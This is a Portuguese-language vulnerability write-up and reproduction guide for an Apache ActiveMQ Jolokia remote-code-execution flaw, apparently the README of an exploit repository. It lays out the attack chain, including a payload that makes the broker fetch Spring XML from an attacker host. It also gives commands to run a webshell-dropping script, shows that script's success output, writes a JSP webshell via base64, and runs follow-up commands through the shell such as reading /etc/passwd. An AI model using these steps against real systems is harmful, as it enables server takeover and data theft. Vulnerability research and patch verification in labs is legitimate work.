
Análise da vulnerabilidade de RCE no Apache ActiveMQ via Jolokia e notas de reprodução
| Item | Detalhes |
|---|---|
| CVE ID | CVE-2026-34197 |
| CVSS | 8.8 (ALTO) |
| Tipo de Vulnerabilidade | Execução Remota de Código (RCE) |
| CWE | CWE-20 Validação de Entrada Incorreta / CWE-94 Injeção de Código |
| Componente Afetado | Apache ActiveMQ Classic - Ponte Jolokia JMX-HTTP |
| Versões Afetadas | < 5.19.4 e 6.0.0 a 6.2.2 |
| Versões Corrigidas | 5.19.4 / 6.2.3 |
| Data de Divulgação | 2026-04-07 |
| Autenticação | Obrigatória por padrão, comumente admin:admin. As versões 6.0.0-6.1.1 podem ser acessíveis sem autenticação quando combinadas com CVE-2024-32114. |
| Descoberta | Relatado como pesquisa assistida por IA pela Anthropic Claude, após estar presente por cerca de 13 anos. |
Attacker
|
|-- 1. POST /api/jolokia/
| Invoke BrokerService.addNetworkConnector(String)
| Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
|
v
ActiveMQ Broker
|
|-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
| brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
|
|-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
|
|-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
| The init-method="start" command runs before configuration validation blocks the URI.
|
`-- 5. Remote code execution is reached.
/api/jolokia/, fornecendo acesso JMX sobre HTTP.org.apache.activemq:*, incluindo addNetworkConnector.brokerConfig do transporte vm:// pode apontar para um Spring XML remoto, e a instanciação do bean ocorre antes que a configuração seja rejeitada.O ActiveMQ 6.2.3 adicionou validação dentro de addNetworkConnector() para rejeitar URIs de transporte vm://:
"error": "VM scheme is not allowed"
| Item | Detalhes |
|---|---|
| Host Atacante | macOS com OrbStack Docker |
| Imagem Alvo | alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1) |
| Usuário em Tempo de Execução | amq (uid=33031) |
| Sistema Operacional Base | Rocky Linux 8.9 |
cd upstream-poc
docker compose up -d
curl -u admin:admin -H "Origin: http://localhost:8161" \
http://localhost:8161/api/jolokia/
Uma resposta status: 200 confirma que o Jolokia está acessível.
python3 exploit_webshell.py \
-t http://localhost:8161 \
--lhost <YOUR_IP> \
--lport 9999
O script executa as seguintes ações:
NetworkConnector existente chamado NC para tornar os testes repetíveis confiáveis.addNetworkConnector para acionar o caminho de código vulnerável.curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"
===============================================================
CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
Target fetches one XML payload; JSP is written from inline base64
===============================================================
[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
| Versão | Imagem | Resposta Jolokia | RCE |
|---|---|---|---|
| 5.18.6 | apache/activemq-classic:5.18.6 | status: 200, value: NC | Bem-sucedido como uid=0(root) |
| 6.2.1 | alfresco/alfresco-activemq:6.2.1 | status: 200, value: NC | Bem-sucedido como uid=33031(amq) |
| 6.2.3 | alfresco/alfresco-activemq:6.2 | error: VM scheme is not allowed | Corrigido |
addNetworkConnector() registra um conector chamado NC. Um segundo registro falha com um conflito de nomenclatura JMX e retorna um erro 500. O script lida com isso chamando removeNetworkConnector("NC") antes de acionar o exploit.
O ActiveMQ usa Jetty embarcado, mas o diretório webapps existe em disco e o mecanismo JSP compila arquivos .jsp recém-escritos. Isso torna possível a escrita de webshell no ambiente testado.
A carga escreve o JSP usando base64 inline:
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp
Benefícios:
<, >, % e ".O alvo deve ser capaz de alcançar o servidor HTTP controlado pelo atacante para buscar a carga Spring XML. Se o alvo não tiver rota de saída para o atacante, este caminho de exploração não pode ser concluído.
Requisições Jolokia diretas podem retornar 403 devido a verificações CORS. Inclua um cabeçalho Origin que corresponda ao alvo:
Origin: http://TARGET:8161
CVE-2026-34197/
|-- README.md # Este relatório
|-- exploit_webshell.py # Escritor de webshell único com base64 inline e nome de arquivo JSP aleatório
`-- upstream-poc/ # Cópia do arquivo de dinosn/CVE-2026-34197
|-- docker-compose.yml # Ambiente de laboratório para ActiveMQ 6.2.1
|-- exploit_poc.py # Script PoC original com modos serve/exploit/auto
`-- serve_payload.py # Servidor HTTP de carga simples
| Script | Propósito | Requisito de Saída | Webshell |
|---|---|---|---|
exploit_poc.py | PoC RCE cego original que executa um comando arbitrário | Obrigatório | Não |
exploit_webshell.py | RCE refletido único através de um webshell JSP escrito | Obrigatório apenas para a busca do XML | Escrito automaticamente com nome de arquivo aleatório |